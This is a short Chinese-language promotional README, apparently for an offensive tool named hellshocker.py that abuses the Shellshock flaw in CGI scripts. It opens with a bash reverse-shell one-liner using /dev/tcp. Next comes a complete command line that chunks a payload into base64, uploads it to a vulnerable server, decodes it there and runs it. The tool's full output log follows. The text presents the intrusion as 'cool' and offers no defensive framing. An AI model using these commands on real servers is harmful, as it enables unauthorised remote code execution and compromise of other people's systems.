厌倦了使用弱小的 shellshock 漏洞利用，或者只是用 "/bin/bash >& /dev/tcp/IP/port 0>&1" 这种方式进入服务器？
是的，你需要上传并执行更复杂的东西到服务器，但 base64 编码一个巨大的文件几乎不可能，因为你的 HTTP 请求会被 Web 服务器拒绝。
有了这个工具，你的问题可能就解决了。它能够将你的有效载荷编码为 base64，并以（默认）128 字节的块发送到 Web 服务器，然后发送后，它会解码并执行。
"哇，"你说，"但是我不用 PHP，我需要 Java 用的东西。" 没问题，我说，这个工具高度可定制。
看看这个：
python hellshocker.py --cgi http://website.com/cgi-bin/vulnerable --payload "java.jar" --destination "/tmp/java.jar" --trigger "/usr/bin/java -jar /tmp/java.jar" --base64
[*] Splitting data into chunks ...
[+] Payload data has been encoded to base64 format.
[*] There is 19 chunks to be sent to remote server
[*] Starting payload upload ...
[*] Uploading chunk #1
[*] Uploading chunk #2
[*] Uploading chunk #3
[*] Uploading chunk #4
[*] Uploading chunk #5
[*] Uploading chunk #6
[*] Uploading chunk #7
[*] Uploading chunk #8
[*] Uploading chunk #9
[*] Uploading chunk #10
[*] Uploading chunk #11
[*] Uploading chunk #12
[*] Uploading chunk #13
[*] Uploading chunk #14
[*] Uploading chunk #15
[*] Uploading chunk #16
[*] Uploading chunk #17
[*] Uploading chunk #18
[*] Uploading chunk #19
[+] Upload procedure has been completed.
[*] Decoding base64-encoded payload on remote server ...
[+] Remote command for decoding has been sent successfully sent.
[*] Triggering payload to execute ...
[+] Trigger command for payload execution has been succesfully sent.
然后你的有效载荷就成功传输并执行了。很酷，不是吗？ 是的，很酷。